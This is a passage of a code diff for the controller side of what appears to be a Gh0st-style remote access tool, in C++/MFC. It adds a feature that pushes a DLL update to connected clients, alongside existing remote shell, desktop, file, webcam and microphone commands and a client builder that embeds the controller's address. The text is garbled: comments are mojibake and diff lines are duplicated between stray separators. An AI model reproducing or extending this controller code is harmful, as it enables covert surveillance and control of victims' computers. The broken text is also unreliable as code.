SetIcon(m_hIcon, FALSE); // <20><><EFBFBD><EFBFBD>Сͼ<D0A1><CDBC>
|
SetIcon(m_hIcon, FALSE); // <20><><EFBFBD><EFBFBD>Сͼ<D0A1><CDBC>
|
||||||
|
|
||||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
isClosed = FALSE;
|
||||||
g_2015RemoteDlg = this;
|
g_2015RemoteDlg = this;
|
||||||
CreateToolBar();
|
CreateToolBar();
|
||||||
InitControl();
|
InitControl();
|
||||||
@@ -417,12 +431,17 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
|
|
||||||
CreateSolidMenu();
|
CreateSolidMenu();
|
||||||
|
|
||||||
ListenPort();
|
if (!ListenPort()) {
|
||||||
|
OnCancel();
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
#if !SHOW_NOTIFY
|
#if !INDEPENDENT
|
||||||
ShowWindow(SW_SHOW);
|
ShowWindow(SW_SHOW);
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
timeBeginPeriod(1);
|
||||||
|
|
||||||
return TRUE; // <20><><EFBFBD>ǽ<EFBFBD><C7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> TRUE
|
return TRUE; // <20><><EFBFBD>ǽ<EFBFBD><C7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> TRUE
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -433,7 +452,7 @@ void CMy2015RemoteDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
CAboutDlg dlgAbout;
|
CAboutDlg dlgAbout;
|
||||||
dlgAbout.DoModal();
|
dlgAbout.DoModal();
|
||||||
}
|
}
|
||||||
#if !SHOW_NOTIFY
|
#if !INDEPENDENT
|
||||||
else if(nID == SC_CLOSE || nID == SC_MINIMIZE)
|
else if(nID == SC_CLOSE || nID == SC_MINIMIZE)
|
||||||
{
|
{
|
||||||
ShowWindow(SW_HIDE);
|
ShowWindow(SW_HIDE);
|
||||||
@@ -490,6 +509,7 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
|
|||||||
{
|
{
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
if (m_CList_Online.m_hWnd!=NULL) //<2F><><EFBFBD>ؼ<EFBFBD>Ҳ<EFBFBD>Ǵ<EFBFBD><C7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD>о<EFBFBD><D0BE><EFBFBD><EFBFBD><EFBFBD>
|
if (m_CList_Online.m_hWnd!=NULL) //<2F><><EFBFBD>ؼ<EFBFBD>Ҳ<EFBFBD>Ǵ<EFBFBD><C7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD>о<EFBFBD><D0BE><EFBFBD><EFBFBD><EFBFBD>
|
||||||
{
|
{
|
||||||
CRect rc;
|
CRect rc;
|
||||||
@@ -507,6 +527,7 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
|
|||||||
m_CList_Online.SetColumnWidth(i,(lenth)); //<2F><><EFBFBD>õ<EFBFBD>ǰ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>
|
m_CList_Online.SetColumnWidth(i,(lenth)); //<2F><><EFBFBD>õ<EFBFBD>ǰ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
|
||||||
if (m_CList_Message.m_hWnd!=NULL)
|
if (m_CList_Message.m_hWnd!=NULL)
|
||||||
{
|
{
|
||||||
@@ -548,43 +569,37 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
|
|||||||
|
|
||||||
void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
|
void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
|
||||||
{
|
{
|
||||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
|
|
||||||
switch(nIDEvent)
|
|
||||||
{
|
|
||||||
|
|
||||||
case 0:
|
|
||||||
{
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
case 1:
|
|
||||||
{
|
|
||||||
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void CMy2015RemoteDlg::OnClose()
|
void CMy2015RemoteDlg::OnClose()
|
||||||
{
|
{
|
||||||
// TODO: <20>ڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
|
// <20><><EFBFBD>ش<EFBFBD><EFBFBD>ڶ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǹر<EFBFBD>
|
||||||
KillTimer(0);
|
ShowWindow(SW_HIDE);
|
||||||
|
OutputDebugStringA("======> Hide\n");
|
||||||
|
}
|
||||||
|
|
||||||
#if SHOW_NOTIFY
|
void CMy2015RemoteDlg::Release(){
|
||||||
|
OutputDebugStringA("======> Release\n");
|
||||||
|
isClosed = TRUE;
|
||||||
|
ShowWindow(SW_HIDE);
|
||||||
|
#if INDEPENDENT
|
||||||
Shell_NotifyIcon(NIM_DELETE, &m_Nid);
|
Shell_NotifyIcon(NIM_DELETE, &m_Nid);
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
BYTE bToken = COMMAND_BYE;
|
BYTE bToken = CLIENT_EXIT_WITH_SERVER ? COMMAND_BYE : SERVER_EXIT;
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
int n = m_CList_Online.GetItemCount();
|
int n = m_CList_Online.GetItemCount();
|
||||||
for(int Pos = 0; Pos < n; ++Pos)
|
for(int Pos = 0; Pos < n; ++Pos)
|
||||||
{
|
{
|
||||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos);
|
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos);
|
||||||
m_iocpServer->OnClientPreSending(ContextObject, &bToken, sizeof(BYTE));
|
m_iocpServer->OnClientPreSending(ContextObject, &bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
Sleep(200);
|
Sleep(200);
|
||||||
|
|
||||||
EnterCriticalSection(&m_cs);
|
EnterCriticalSection(&m_cs);
|
||||||
|
/*
|
||||||
for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin();
|
for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin();
|
||||||
iter != v_FileDlg.end(); ++iter)
|
iter != v_FileDlg.end(); ++iter)
|
||||||
{
|
{
|
||||||
@@ -594,6 +609,7 @@ void CMy2015RemoteDlg::OnClose()
|
|||||||
Sleep(1);
|
Sleep(1);
|
||||||
delete cur;
|
delete cur;
|
||||||
}
|
}
|
||||||
|
*/
|
||||||
for (std::vector<CRegisterDlg *>::iterator iter = v_RegDlg.begin();
|
for (std::vector<CRegisterDlg *>::iterator iter = v_RegDlg.begin();
|
||||||
iter != v_RegDlg.end(); ++iter)
|
iter != v_RegDlg.end(); ++iter)
|
||||||
{
|
{
|
||||||
@@ -606,7 +622,6 @@ void CMy2015RemoteDlg::OnClose()
|
|||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
|
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Sleep<65><70><EFBFBD><EFBFBD><EFBFBD>ܱ<EFBFBD><DCB1>ⲻ<EFBFBD><E2B2BB><EFBFBD>˳<EFBFBD>ʱ<EFBFBD>ı<EFBFBD><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IOCP<43><50>Ҫ<EFBFBD><D2AA><EFBFBD>ظ<EFBFBD>Щ<EFBFBD><D0A9><EFBFBD><EFBFBD>
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Sleep<65><70><EFBFBD><EFBFBD><EFBFBD>ܱ<EFBFBD><DCB1>ⲻ<EFBFBD><E2B2BB><EFBFBD>˳<EFBFBD>ʱ<EFBFBD>ı<EFBFBD><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IOCP<43><50>Ҫ<EFBFBD><D2AA><EFBFBD>ظ<EFBFBD>Щ<EFBFBD><D0A9><EFBFBD><EFBFBD>
|
||||||
ShowWindow(SW_HIDE);
|
|
||||||
Sleep(300);
|
Sleep(300);
|
||||||
|
|
||||||
if (m_iocpServer!=NULL)
|
if (m_iocpServer!=NULL)
|
||||||
@@ -614,7 +629,7 @@ void CMy2015RemoteDlg::OnClose()
|
|||||||
delete m_iocpServer;
|
delete m_iocpServer;
|
||||||
m_iocpServer = NULL;
|
m_iocpServer = NULL;
|
||||||
}
|
}
|
||||||
CDialogEx::OnClose();
|
timeEndPeriod(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -633,7 +648,10 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
|||||||
GetCursorPos(&Point);
|
GetCursorPos(&Point);
|
||||||
|
|
||||||
int iCount = SubMenu->GetMenuItemCount();
|
int iCount = SubMenu->GetMenuItemCount();
|
||||||
if (m_CList_Online.GetSelectedCount() == 0) //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ѡ<EFBFBD><D1A1>
|
EnterCriticalSection(&m_cs);
|
||||||
|
int n = m_CList_Online.GetSelectedCount();
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
if (n == 0) //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ѡ<EFBFBD><D1A1>
|
||||||
{
|
{
|
||||||
for (int i = 0;i<iCount;++i)
|
for (int i = 0;i<iCount;++i)
|
||||||
{
|
{
|
||||||
@@ -642,7 +660,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
|||||||
}
|
}
|
||||||
|
|
||||||
Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]);
|
Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]);
|
||||||
Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
|
Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
|
||||||
|
Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]);
|
||||||
SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
|
SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
|
||||||
|
|
||||||
*pResult = 0;
|
*pResult = 0;
|
||||||
@@ -655,6 +674,56 @@ void CMy2015RemoteDlg::OnOnlineMessage()
|
|||||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
char* ReadFileToMemory(const CString& filePath, ULONGLONG &fileSize) {
|
||||||
|
fileSize = 0;
|
||||||
|
try {
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ֻ<EFBFBD><D6BB>ģʽ<C4A3><CABD>
|
||||||
|
CFile file(filePath, CFile::modeRead | CFile::typeBinary);
|
||||||
|
|
||||||
|
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
|
||||||
|
fileSize = file.GetLength();
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ滺<DAB4><E6BBBA><EFBFBD><EFBFBD>: ͷ+<2B>ļ<EFBFBD><C4BC><EFBFBD>С+<2B>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
char* buffer = new char[1 + sizeof(ULONGLONG) + static_cast<size_t>(fileSize) + 1];
|
||||||
|
if (!buffer) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
memcpy(buffer+1, &fileSize, sizeof(ULONGLONG));
|
||||||
|
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
file.Read(buffer + 1 + sizeof(ULONGLONG), static_cast<UINT>(fileSize));
|
||||||
|
buffer[1 + sizeof(ULONGLONG) + fileSize] = '\0'; // <20><><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
// <20>ͷ<EFBFBD><CDB7>ڴ<EFBFBD>
|
||||||
|
return buffer;
|
||||||
|
}
|
||||||
|
catch (CFileException* e) {
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>쳣
|
||||||
|
TCHAR errorMessage[256];
|
||||||
|
e->GetErrorMessage(errorMessage, 256);
|
||||||
|
e->Delete();
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnOnlineUpdate()
|
||||||
|
{
|
||||||
|
char path[_MAX_PATH], * p = path;
|
||||||
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||||
|
while (*p) ++p;
|
||||||
|
while ('\\' != *p) --p;
|
||||||
|
strcpy(p + 1, "ServerDll.dll");
|
||||||
|
ULONGLONG fileSize = 0;
|
||||||
|
char *buffer = ReadFileToMemory(path, fileSize);
|
||||||
|
if (buffer) {
|
||||||
|
buffer[0] = COMMAND_UPDATE;
|
||||||
|
SendSelectedCommand((PBYTE)buffer, 1 + sizeof(ULONGLONG) + fileSize + 1);
|
||||||
|
delete[] buffer;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
AfxMessageBox("<EFBFBD><EFBFBD>ȡ<EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>: "+ CString(path));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
void CMy2015RemoteDlg::OnOnlineDelete()
|
void CMy2015RemoteDlg::OnOnlineDelete()
|
||||||
{
|
{
|
||||||
@@ -665,19 +734,18 @@ void CMy2015RemoteDlg::OnOnlineDelete()
|
|||||||
BYTE bToken = COMMAND_BYE; //<2F>ض˷<D8B6><CBB7><EFBFBD>һ<EFBFBD><D2BB>COMMAND_SYSTEM
|
BYTE bToken = COMMAND_BYE; //<2F>ض˷<D8B6><CBB7><EFBFBD>һ<EFBFBD><D2BB>COMMAND_SYSTEM
|
||||||
SendSelectedCommand(&bToken, sizeof(BYTE)); //Context PreSending PostSending
|
SendSelectedCommand(&bToken, sizeof(BYTE)); //Context PreSending PostSending
|
||||||
|
|
||||||
CString strIP;
|
EnterCriticalSection(&m_cs);
|
||||||
int iCount = m_CList_Online.GetSelectedCount();
|
int iCount = m_CList_Online.GetSelectedCount();
|
||||||
int i = 0;
|
for (int i=0;i<iCount;++i)
|
||||||
|
|
||||||
for (i=0;i<iCount;++i)
|
|
||||||
{
|
{
|
||||||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||||
strIP = m_CList_Online.GetItemText(iItem,ONLINELIST_IP);
|
CString strIP = m_CList_Online.GetItemText(iItem,ONLINELIST_IP);
|
||||||
m_CList_Online.DeleteItem(iItem);
|
m_CList_Online.DeleteItem(iItem);
|
||||||
strIP+="<EFBFBD>Ͽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
|
strIP+="<EFBFBD>Ͽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
|
||||||
ShowMessage(true,strIP);
|
ShowMessage(true,strIP);
|
||||||
}
|
}
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID CMy2015RemoteDlg::OnOnlineCmdManager()
|
VOID CMy2015RemoteDlg::OnOnlineCmdManager()
|
||||||
@@ -693,8 +761,6 @@ VOID CMy2015RemoteDlg::OnOnlineProcessManager()
|
|||||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
VOID CMy2015RemoteDlg::OnOnlineWindowManager()
|
VOID CMy2015RemoteDlg::OnOnlineWindowManager()
|
||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_WSLIST;
|
BYTE bToken = COMMAND_WSLIST;
|
||||||
@@ -710,26 +776,30 @@ VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
|
|||||||
|
|
||||||
VOID CMy2015RemoteDlg::OnOnlineFileManager()
|
VOID CMy2015RemoteDlg::OnOnlineFileManager()
|
||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_LIST_DRIVE; //<2F><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>豸
|
#if INDEPENDENT
|
||||||
|
BYTE bToken = COMMAND_LIST_DRIVE;
|
||||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||||
|
#else
|
||||||
|
if(m_CList_Online.GetFirstSelectedItemPosition())
|
||||||
|
ShowMessage(FALSE, "<EFBFBD>˹<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͣʹ<EFBFBD><EFBFBD>");
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID CMy2015RemoteDlg::OnOnlineAudioManager()
|
VOID CMy2015RemoteDlg::OnOnlineAudioManager()
|
||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_AUDIO; //<2F>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
BYTE bToken = COMMAND_AUDIO;
|
||||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID CMy2015RemoteDlg::OnOnlineVideoManager()
|
VOID CMy2015RemoteDlg::OnOnlineVideoManager()
|
||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_WEBCAM; //<2F>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
BYTE bToken = COMMAND_WEBCAM;
|
||||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID CMy2015RemoteDlg::OnOnlineServerManager()
|
VOID CMy2015RemoteDlg::OnOnlineServerManager()
|
||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_SERVICES; //<2F><>ֵһ<D6B5><D2BB><EFBFBD><EFBFBD> Ȼ<><C8BB><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>COMMAND_SYSTEM
|
BYTE bToken = COMMAND_SERVICES;
|
||||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -743,61 +813,71 @@ void CMy2015RemoteDlg::OnOnlineBuildClient()
|
|||||||
{
|
{
|
||||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
CBuildDlg Dlg;
|
CBuildDlg Dlg;
|
||||||
|
Dlg.m_strIP = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "localIp", "");
|
||||||
|
CString Port;
|
||||||
|
Port.Format("%d", ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost"));
|
||||||
|
Dlg.m_strPort = Port;
|
||||||
Dlg.DoModal();
|
Dlg.DoModal();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
|
VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); //1[pcontext client] 2 3 //1 2
|
EnterCriticalSection(&m_cs);
|
||||||
|
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||||
while(Pos)
|
while(Pos)
|
||||||
{
|
{
|
||||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); //<2F><><EFBFBD>б<EFBFBD><D0B1><EFBFBD>Ŀ<EFBFBD><C4BF>ȡ<EFBFBD><C8A1>ClientContext<78>ṹ<EFBFBD><E1B9B9>
|
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
|
||||||
|
|
||||||
// <20><><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD>ݰ<EFBFBD> //<2F>鿴ClientContext<78>ṹ<EFBFBD><E1B9B9>
|
// <20><><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD>ݰ<EFBFBD>
|
||||||
m_iocpServer->OnClientPreSending(ContextObject,szBuffer, ulLength); //Cleint Context
|
m_iocpServer->OnClientPreSending(ContextObject,szBuffer, ulLength);
|
||||||
}
|
}
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
}
|
}
|
||||||
|
|
||||||
//<2F><><EFBFBD><EFBFBD>Bar
|
//<2F><><EFBFBD><EFBFBD>Bar
|
||||||
VOID CMy2015RemoteDlg::OnAbout()
|
VOID CMy2015RemoteDlg::OnAbout()
|
||||||
{
|
{
|
||||||
MessageBox("Copyleft (c) FTU 2019", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
MessageBox("Copyleft (c) FTU 2025", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||||
}
|
}
|
||||||
|
|
||||||
//<2F><><EFBFBD><EFBFBD>Menu
|
//<2F><><EFBFBD><EFBFBD>Menu
|
||||||
void CMy2015RemoteDlg::OnNotifyShow()
|
void CMy2015RemoteDlg::OnNotifyShow()
|
||||||
{
|
{
|
||||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
BOOL v= IsWindowVisible();
|
||||||
ShowWindow(SW_SHOW);
|
ShowWindow(v? SW_HIDE : SW_SHOW);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void CMy2015RemoteDlg::OnNotifyExit()
|
void CMy2015RemoteDlg::OnNotifyExit()
|
||||||
{
|
{
|
||||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
Release();
|
||||||
|
CDialogEx::OnOK(); // <20>رնԻ<D5B6><D4BB><EFBFBD>
|
||||||
SendMessage(WM_CLOSE);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
//<2F><>̬<EFBFBD>˵<EFBFBD>
|
//<2F><>̬<EFBFBD>˵<EFBFBD>
|
||||||
void CMy2015RemoteDlg::OnMainSet()
|
void CMy2015RemoteDlg::OnMainSet()
|
||||||
{
|
{
|
||||||
|
int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection");
|
||||||
CSettingDlg Dlg;
|
CSettingDlg Dlg;
|
||||||
|
|
||||||
Dlg.DoModal(); //ģ̬ <20><><EFBFBD><EFBFBD>
|
Dlg.DoModal(); //ģ̬ <20><><EFBFBD><EFBFBD>
|
||||||
|
if (nMaxConnection != Dlg.m_nMax_Connect)
|
||||||
|
{
|
||||||
|
m_iocpServer->UpdateMaxConnection(Dlg.m_nMax_Connect);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void CMy2015RemoteDlg::OnMainExit()
|
void CMy2015RemoteDlg::OnMainExit()
|
||||||
{
|
{
|
||||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
Release();
|
||||||
SendMessage(WM_CLOSE);
|
CDialogEx::OnOK(); // <20>رնԻ<D5B6><D4BB><EFBFBD>
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID CMy2015RemoteDlg::ListenPort()
|
BOOL CMy2015RemoteDlg::ListenPort()
|
||||||
{
|
{
|
||||||
int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost");
|
int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost");
|
||||||
//<2F><>ȡini <20>ļ<EFBFBD><C4BC>еļ<D0B5><C4BC><EFBFBD><EFBFBD>˿<EFBFBD>
|
//<2F><>ȡini <20>ļ<EFBFBD><C4BC>еļ<D0B5><C4BC><EFBFBD><EFBFBD>˿<EFBFBD>
|
||||||
@@ -807,33 +887,35 @@ VOID CMy2015RemoteDlg::ListenPort()
|
|||||||
nPort = 6543;
|
nPort = 6543;
|
||||||
if (nMaxConnection <= 0)
|
if (nMaxConnection <= 0)
|
||||||
nMaxConnection = 10000;
|
nMaxConnection = 10000;
|
||||||
Activate(nPort,nMaxConnection); //<2F><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>
|
return Activate(nPort,nMaxConnection); //<2F><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
VOID CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
|
BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
|
||||||
{
|
{
|
||||||
